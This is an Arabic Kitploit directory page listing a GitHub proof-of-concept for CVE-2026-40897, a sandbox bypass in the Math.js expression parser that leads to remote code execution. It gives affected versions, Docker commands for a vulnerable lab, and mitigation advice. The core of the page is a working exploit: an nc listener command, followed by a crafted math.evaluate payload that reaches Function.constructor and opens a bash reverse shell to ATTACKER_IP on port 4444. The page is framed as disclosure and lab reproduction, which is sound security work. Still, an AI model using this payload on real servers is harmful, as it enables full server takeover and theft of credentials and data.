Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40897 — إثبات مفهوم للاستغلال الخاص بـ CVE-2026-40897، وهو تجاوز لبيئة الحماية في محلل تعبيرات Math.js يتيح تنفيذ التعليمات البرمجية عن بُعد عبر حمولات مُصممة خصيصًا ومختبر Docker. | Kitploit
أدوات/GitHubGitHub/yym8538/cve-2026-40897
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالمحاكاة الافتراضية للأمانأداة الوصول عن بعدتطوير الحمولات
GitHubyym8538/cve-2026-40897

CVE-2026-40897

إثبات مفهوم للاستغلال الخاص بـ CVE-2026-40897، وهو تجاوز لبيئة الحماية في محلل تعبيرات Math.js يتيح تنفيذ التعليمات البرمجية عن بُعد عبر حمولات مُصممة خصيصًا ومختبر Docker.

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40897 تنفيذ تعليمات برمجية عن بُعد في محلل تعبيرات Math.js

★ CVE-2026-40897 تنفيذ تعليمات برمجية عن بُعد في Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


نظرة عامة

CVE-2026-40897 هو ثغرة تجاوز الحماية (Sandbox Bypass) تؤدي إلى تنفيذ تعليمات برمجية عن بُعد في محلل التعبيرات الخاص بـ Math.js. يقوم مرشح isSafeProperty بفحص الوصول إلى الخصائص من تعبيرات المستخدم فقط، وليس من مسارات الكود الداخلية. من خلال تسريب المصفوفة الداخلية لـ ArrayNode عبر toJSON() والكتابة فوق .map الخاصة بها، يمكن للمهاجم إجبار الكود الداخلي على الوصول إلى Function.constructor وتنفيذ JavaScript عشوائي.


الإصدارات المتأثرة

الفئةالإصدار
المتأثرةMath.js 13.1.1 ≤ version ≤ 15.1.1
المُصحّحة15.2.0

التأثير

  • تنفيذ تعليمات JavaScript عشوائية (RCE)
  • الوصول إلى نظام ملفات المضيف
  • اتصال reverse shell يؤدي إلى اختراق كامل للخادم
  • تسريب بيانات الاعتماد الخلفية والبيانات الحساسة

البيئة

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

إثبات المفهوم (PoC)

بعد تشغيل البيئة المتأثرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.

الخطوة 1. بدء مستمع reverse shell

nc -lvnp 4444

الخطوة 2. إرسال الحمولة الخبيثة

أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، من خلال حقل إدخال الحساب في التطبيق).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

الخطوة 3. تأكيد الوصول إلى shell على جانب المهاجم

يتصل الخادم المستهدف مرة أخرى بمستمع المهاجم، مما يمنح shell bash تفاعلي.


التخفيف

  • ترقية Math.js إلى إصدار مُصحّح
  • تجنّب تمرير مدخلات مستخدم غير موثوقة مباشرةً إلى math.evaluate()
  • تقييد تعريض الدوال/الفئات الداخلية (reviver، FunctionAssignmentNode، ArrayNode) عبر محلل التعبيرات

التحليل

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
تنزيل الأداة